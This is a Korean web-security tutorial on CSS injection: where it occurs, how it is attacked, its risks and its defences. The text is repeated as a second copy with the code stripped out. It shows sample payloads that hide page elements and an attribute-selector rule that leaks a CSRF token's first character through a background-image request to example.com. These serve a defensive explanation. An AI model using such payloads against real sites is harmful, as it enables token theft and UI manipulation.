CSS Injection이란?
CSS Injection은 웹 페이지에 공격자가 의도한 CSS 코드를 삽입하는 취약점입니다.
CSS는 원래 글자 색, 배경색, 버튼 모양처럼 화면을 꾸미기 위해 사용됩니다.
하지만 CSS도 조건에 따라 특정 요소를 선택하거나, 외부 리소스를 요청하거나, 화면 구성을 바꾸는 기능을 가지고 있습니다.
이 때문에 사용자 입력값이 CSS 영역에 제대로 검증되지 않은 상태로 들어가면 문제가 발생할 수 있습니다.
색상만 바꾸는 기능처럼 보여도, 입력값을 어떻게 처리하느냐에 따라 공격자가 임의의 CSS 구문을 삽입할 수 있습니다.
<style>
.profile {
color: 사용자입력값;
}
</style>
원래라면 red, blue, #ffffff 같은 정상적인 색상 값만 들어가야 합니다.
하지만 입력값 검증이 부족하다면? 공격자는 CSS 문법을 깨고 새로운 스타일 구문을 삽입할 수 있습니다.
CSS Injection은 XSS처럼 JavaScript를 직접 실행하는 취약점은 아닙니다!
그래서 처음 보면 영향도가 낮아 보일 수 있지만... 화면 조작, 외부 요청 발생, 페이지 내부 값 추측 등의 방식으로 조용히 악용될 수 있습니다.
CSS Injection 발생 위치
CSS Injection은 사용자 입력값이 CSS 문맥에 반영되는 곳에서 발생합니다.
가장 먼저 확인할 위치는 HTML 태그의 style 속성입니다.
<div style="color: 사용자입력값;">
프로필 소개
</div>
위 구조에서는 사용자 입력값이 CSS 속성 값으로 들어갑니다.
색상 변경 기능, 프로필 꾸미기 기능, 테마 설정 기능에서 자주 볼 수 있는 형태입니다.
또 다른 위치는 <style> 태그 내부입니다.
<style>
.user-theme {
background-color: 사용자입력값;
}
</style>
이 경우 입력값이 CSS 코드 안에 직접 포함됩니다.
사용자가 입력한 값이 단순 문자열로 보이더라도, 실제 응답에서 CSS 영역에 들어간다면 CSS Injection 가능성을 확인해야 합니다.
게시판 에디터, 마이페이지 프로필, 사용자 테마 설정, 관리자 배너 설정, 이메일 템플릿 편집 기능에서도 발생할 수 있습니다.
특히 사용자가 색상, 배경, 폰트, HTML 스타일을 직접 지정할 수 있는 기능이라면 점검 대상에 포함하는 것이 좋습니다.
중요한 점은 입력값이 “출력된다”는 사실만 보는 것이 아닙니다!
입력값이 HTML 본문에 들어가는지, HTML 속성에 들어가는지, JavaScript 코드에 들어가는지, CSS 영역에 들어가는지를 구분해야 합니다.
같은 입력값이라도 들어가는 위치에 따라 취약점 유형과 대응 방법이 달라집니다.
CSS Injection 공격 방식
01. 화면 조작
CSS Injection의 가장 단순한 공격 방식은 화면을 조작하는 것입니다.
예를 들어 아래와 같은 CSS가 삽입되면 페이지 전체가 보이지 않게 될 수 있습니다.
body {
display: none;
}
특정 버튼이나 입력창만 숨길 수도 있습니다.
button.delete {
display: none;
}
이런 방식은 단순한 화면 변조처럼 보일 수 있습니다.
하지만 중요한 버튼을 숨기거나, 사용자가 정상 기능을 사용할 수 없게 만들거나, 가짜 UI처럼 보이게 만드는 식으로 악용될 수 있습니다.
02. 외부 요청 발생
CSS는 외부 리소스를 불러오는 기능도 가지고 있습니다.
body {
background-image: url("https://example.com/test.png");
}
브라우저가 해당 CSS를 해석하면 example.com으로 요청이 발생할 수 있습니다. 공격자는 이 요청을 보고 “내가 삽입한 CSS가 실제로 적용되었구나”라고 확인할 수 있습니다.
03. 특정 값 추측
더 나아가 CSS 선택자를 이용하면 특정 값이 존재하는지 추측할 수도 있습니다.
예를 들어 페이지 안에 아래와 같은 숨겨진 CSRF 토큰이 있다고 가정합니다.
<input type="hidden" name="csrf_token" value="s3cr3t_abc">
공격자는 특정 문자로 시작하는 값에만 스타일이 적용되도록 CSS를 작성할 수 있습니다.
input[name="csrf_token"][value^="s"] {
background-image: url("https://example.com/check-s");
}
위 CSS는 csrf_token 값이 s로 시작할 때만 적용됩니다. 이때 외부 요청이 발생하면 공격자는 토큰의 첫 글자가 s라는 사실을 추측할 수 있습니다.
물론 이런 공격은 조건이 필요합니다. 공격자가 CSS를 삽입할 수 있어야 하고, 추측하려는 값이 같은 페이지 안에 있어야 하며, CSS 선택자로 접근 가능한 구조여야 합니다. 또한 외부 요청을 확인할 수 있는 환경도 필요합니다.
그래서 CSS Injection이 항상 높은 위험도를 가지는 것은 아닙니다.
화면 변조에서 끝나는 문제가 아니라 정보 추측, 사용자 조작, 외부 요청 발생으로 이어질 수 있다는 점을 봐야 합니다.
CSS Injection 위험성
CSS Injection의 위험성은 삽입 가능한 위치와 주변 기능에 따라 달라집니다.
글자 색이 바뀌는 정도라면 영향도가 낮을 수 있습니다.
하지만 페이지의 주요 버튼을 숨기거나, 입력창을 가리거나, 정상 UI처럼 보이는 가짜 요소를 만들 수 있다면 사용자의 행동을 잘못 유도할 수 있습니다.
또한 CSS를 통해 외부 URL 요청이 발생할 수 있습니다.
이 경우 공격자는 CSS가 적용되었는지 확인하거나, 특정 조건이 맞을 때만 요청이 발생하도록 만들어 페이지 내부 값의 일부를 추측할 수 있습니다.
특히 CSRF 토큰, 사용자 식별값, 내부 상태값처럼 민감한 값이 DOM에 포함되어 있다면 위험도가 올라갑니다.
CSS Injection 단독으로는 영향이 제한적일 수 있지만,
민감정보 노출, 약한 CSP 설정, HTML Injection 같은 다른 문제와 함께 존재하면 공격 가능성이 더 커질 수 있습니다.
즉 CSS Injection은 “스크립트 실행이 안 되니까 괜찮다”라고 넘기면 안 됩니다. JavaScript처럼 시끄럽게 터지지는 않지만, 화면과 요청 흐름을 은근하게 건드릴 수 있는 취약점입니다.
CSS Injection 대응 방안
가장 중요한 대응은 사용자 입력값을 CSS에 그대로 넣지 않는 것입니다.
색상 값만 필요한 기능이라면 모든 문자열을 허용하지 않도록 하고, 필요한 형식만 허용해야 합니다.
예를 들어 HEX 색상 값만 허용하려면 아래와 같은 방식으로 검증할 수 있습니다.
^#[0-9a-fA-F]{6}$
위 정규식은 #ffffff, #000000 같은 6자리 HEX 색상 값만 허용합니다. 사용자가 색상을 선택하는 기능이라면 직접 입력을 받기보다는 색상 선택 UI를 제공하고, 서버에서는 허용된 형식인지 다시 검증하는 것이 좋습니다.
또한 style 속성이나 <style> 태그 사용을 제한해야 합니다.
게시판이나 프로필 기능에서 HTML 편집을 허용하더라도, 사용자가 임의의 CSS를 작성할 수 있게 두면 위험합니다.
꼭 필요한 경우에는 허용할 CSS 속성을 제한해야 합니다.
특히 아래와 같이 외부 리소스 요청과 연결될 수 있는 속성은 주의가 필요합니다.
background
background-image
list-style-image
cursor
@import
이런 속성은 외부 URL 호출에 사용될 수 있으므로 서비스 정책에 따라 차단하거나 제한하는 것이 좋습니다.
CSP(Content Security Policy)를 적용하는 것도 도움이 됩니다.
Content-Security-Policy: default-src 'self'; img-src 'self'; style-src 'self';
CSP를 적용하면 이미지, 스타일, 스크립트 등의 로드 출처를 제한할 수 있습니다. 다만 CSP는 보조 대책입니다.
입력값 검증이 없는 상태에서 CSP만 적용하는 방식은 근본적인 해결책이 아닙니다.
마지막으로 민감한 값을 DOM에 불필요하게 노출하지 않아야 합니다.
CSS Injection은 페이지 안에 존재하는 값을 CSS 선택자로 참조할 수 있기 때문에, 중요한 값이 화면 소스에 포함되어 있을수록 위험도가 높아집니다.
마무리
CSS Injection은 사용자가 입력한 값이 CSS 영역에 검증 없이 반영될 때 발생합니다.
처음에는 단순히 화면 스타일이 깨지는 정도로 보일 수 있지만, 실제로는 화면 조작, 외부 요청 발생, 특정 값 추측 같은 문제로 이어질 수 있습니다.
특히 사용자 테마, 프로필 꾸미기, 게시판 에디터처럼 스타일을 다루는 기능에서는 입력값이 어느 위치에 반영되는지 확인해야 합니다.
방어할 때는 사용자 입력값을 CSS에 직접 넣지 않는 것이 가장 안전합니다.
필요한 값만 허용하고, 위험한 CSS 속성은 제한하며, 민감한 값은 DOM에 불필요하게 노출하지 않는 방향으로 처리해야 합니다.
CSS Injection은 자주 언급되는 취약점은 아니지만, 웹 페이지의 표현 영역을 공격 지점으로 사용할 수 있다는 점에서 점검 시 함께 확인할 필요가 있습니다.
 [이수민] | [lsm@cela.kr] |
```
CSS Injection이란?
CSS Injection은 웹 페이지에 공격자가 의도한 CSS 코드를 삽입하는 취약점입니다.
CSS는 원래 글자 색, 배경색, 버튼 모양처럼 화면을 꾸미기 위해 사용됩니다.
하지만 CSS도 조건에 따라 특정 요소를 선택하거나, 외부 리소스를 요청하거나, 화면 구성을 바꾸는 기능을 가지고 있습니다.
이 때문에 사용자 입력값이 CSS 영역에 제대로 검증되지 않은 상태로 들어가면 문제가 발생할 수 있습니다.
색상만 바꾸는 기능처럼 보여도, 입력값을 어떻게 처리하느냐에 따라 공격자가 임의의 CSS 구문을 삽입할 수 있습니다.
원래라면
red,blue,#ffffff같은 정상적인 색상 값만 들어가야 합니다.하지만 입력값 검증이 부족하다면? 공격자는 CSS 문법을 깨고 새로운 스타일 구문을 삽입할 수 있습니다.
CSS Injection 발생 위치
CSS Injection은 사용자 입력값이 CSS 문맥에 반영되는 곳에서 발생합니다.
가장 먼저 확인할 위치는 HTML 태그의
style속성입니다.위 구조에서는 사용자 입력값이 CSS 속성 값으로 들어갑니다.
색상 변경 기능, 프로필 꾸미기 기능, 테마 설정 기능에서 자주 볼 수 있는 형태입니다.
또 다른 위치는
<style>태그 내부입니다.이 경우 입력값이 CSS 코드 안에 직접 포함됩니다.
사용자가 입력한 값이 단순 문자열로 보이더라도, 실제 응답에서 CSS 영역에 들어간다면 CSS Injection 가능성을 확인해야 합니다.
게시판 에디터, 마이페이지 프로필, 사용자 테마 설정, 관리자 배너 설정, 이메일 템플릿 편집 기능에서도 발생할 수 있습니다.
특히 사용자가 색상, 배경, 폰트, HTML 스타일을 직접 지정할 수 있는 기능이라면 점검 대상에 포함하는 것이 좋습니다.
중요한 점은 입력값이 “출력된다”는 사실만 보는 것이 아닙니다!
입력값이 HTML 본문에 들어가는지, HTML 속성에 들어가는지, JavaScript 코드에 들어가는지, CSS 영역에 들어가는지를 구분해야 합니다.
같은 입력값이라도 들어가는 위치에 따라 취약점 유형과 대응 방법이 달라집니다.
CSS Injection 공격 방식
01. 화면 조작
CSS Injection의 가장 단순한 공격 방식은 화면을 조작하는 것입니다.
예를 들어 아래와 같은 CSS가 삽입되면 페이지 전체가 보이지 않게 될 수 있습니다.
특정 버튼이나 입력창만 숨길 수도 있습니다.
이런 방식은 단순한 화면 변조처럼 보일 수 있습니다.
하지만 중요한 버튼을 숨기거나, 사용자가 정상 기능을 사용할 수 없게 만들거나, 가짜 UI처럼 보이게 만드는 식으로 악용될 수 있습니다.
02. 외부 요청 발생
CSS는 외부 리소스를 불러오는 기능도 가지고 있습니다.
브라우저가 해당 CSS를 해석하면
example.com으로 요청이 발생할 수 있습니다. 공격자는 이 요청을 보고 “내가 삽입한 CSS가 실제로 적용되었구나”라고 확인할 수 있습니다.03. 특정 값 추측
더 나아가 CSS 선택자를 이용하면 특정 값이 존재하는지 추측할 수도 있습니다.
예를 들어 페이지 안에 아래와 같은 숨겨진 CSRF 토큰이 있다고 가정합니다.
공격자는 특정 문자로 시작하는 값에만 스타일이 적용되도록 CSS를 작성할 수 있습니다.
위 CSS는
csrf_token값이s로 시작할 때만 적용됩니다. 이때 외부 요청이 발생하면 공격자는 토큰의 첫 글자가s라는 사실을 추측할 수 있습니다.물론 이런 공격은 조건이 필요합니다. 공격자가 CSS를 삽입할 수 있어야 하고, 추측하려는 값이 같은 페이지 안에 있어야 하며, CSS 선택자로 접근 가능한 구조여야 합니다. 또한 외부 요청을 확인할 수 있는 환경도 필요합니다.
그래서 CSS Injection이 항상 높은 위험도를 가지는 것은 아닙니다.
화면 변조에서 끝나는 문제가 아니라 정보 추측, 사용자 조작, 외부 요청 발생으로 이어질 수 있다는 점을 봐야 합니다.
CSS Injection 위험성
CSS Injection의 위험성은 삽입 가능한 위치와 주변 기능에 따라 달라집니다.
글자 색이 바뀌는 정도라면 영향도가 낮을 수 있습니다.
하지만 페이지의 주요 버튼을 숨기거나, 입력창을 가리거나, 정상 UI처럼 보이는 가짜 요소를 만들 수 있다면 사용자의 행동을 잘못 유도할 수 있습니다.
또한 CSS를 통해 외부 URL 요청이 발생할 수 있습니다.
이 경우 공격자는 CSS가 적용되었는지 확인하거나, 특정 조건이 맞을 때만 요청이 발생하도록 만들어 페이지 내부 값의 일부를 추측할 수 있습니다.
특히 CSRF 토큰, 사용자 식별값, 내부 상태값처럼 민감한 값이 DOM에 포함되어 있다면 위험도가 올라갑니다.
CSS Injection 단독으로는 영향이 제한적일 수 있지만,
민감정보 노출, 약한 CSP 설정, HTML Injection 같은 다른 문제와 함께 존재하면 공격 가능성이 더 커질 수 있습니다.
즉 CSS Injection은 “스크립트 실행이 안 되니까 괜찮다”라고 넘기면 안 됩니다. JavaScript처럼 시끄럽게 터지지는 않지만, 화면과 요청 흐름을 은근하게 건드릴 수 있는 취약점입니다.
CSS Injection 대응 방안
가장 중요한 대응은 사용자 입력값을 CSS에 그대로 넣지 않는 것입니다.
색상 값만 필요한 기능이라면 모든 문자열을 허용하지 않도록 하고, 필요한 형식만 허용해야 합니다.
예를 들어 HEX 색상 값만 허용하려면 아래와 같은 방식으로 검증할 수 있습니다.
위 정규식은
#ffffff,#000000같은 6자리 HEX 색상 값만 허용합니다. 사용자가 색상을 선택하는 기능이라면 직접 입력을 받기보다는 색상 선택 UI를 제공하고, 서버에서는 허용된 형식인지 다시 검증하는 것이 좋습니다.또한
style속성이나<style>태그 사용을 제한해야 합니다.게시판이나 프로필 기능에서 HTML 편집을 허용하더라도, 사용자가 임의의 CSS를 작성할 수 있게 두면 위험합니다.
꼭 필요한 경우에는 허용할 CSS 속성을 제한해야 합니다.
특히 아래와 같이 외부 리소스 요청과 연결될 수 있는 속성은 주의가 필요합니다.
이런 속성은 외부 URL 호출에 사용될 수 있으므로 서비스 정책에 따라 차단하거나 제한하는 것이 좋습니다.
CSP(Content Security Policy)를 적용하는 것도 도움이 됩니다.
CSP를 적용하면 이미지, 스타일, 스크립트 등의 로드 출처를 제한할 수 있습니다. 다만 CSP는 보조 대책입니다.
입력값 검증이 없는 상태에서 CSP만 적용하는 방식은 근본적인 해결책이 아닙니다.
마지막으로 민감한 값을 DOM에 불필요하게 노출하지 않아야 합니다.
CSS Injection은 페이지 안에 존재하는 값을 CSS 선택자로 참조할 수 있기 때문에, 중요한 값이 화면 소스에 포함되어 있을수록 위험도가 높아집니다.
마무리
CSS Injection은 사용자가 입력한 값이 CSS 영역에 검증 없이 반영될 때 발생합니다.
처음에는 단순히 화면 스타일이 깨지는 정도로 보일 수 있지만, 실제로는 화면 조작, 외부 요청 발생, 특정 값 추측 같은 문제로 이어질 수 있습니다.
특히 사용자 테마, 프로필 꾸미기, 게시판 에디터처럼 스타일을 다루는 기능에서는 입력값이 어느 위치에 반영되는지 확인해야 합니다.
방어할 때는 사용자 입력값을 CSS에 직접 넣지 않는 것이 가장 안전합니다.
필요한 값만 허용하고, 위험한 CSS 속성은 제한하며, 민감한 값은 DOM에 불필요하게 노출하지 않는 방향으로 처리해야 합니다.
CSS Injection은 자주 언급되는 취약점은 아니지만, 웹 페이지의 표현 영역을 공격 지점으로 사용할 수 있다는 점에서 점검 시 함께 확인할 필요가 있습니다.
[이수민] | [lsm@cela.kr]
```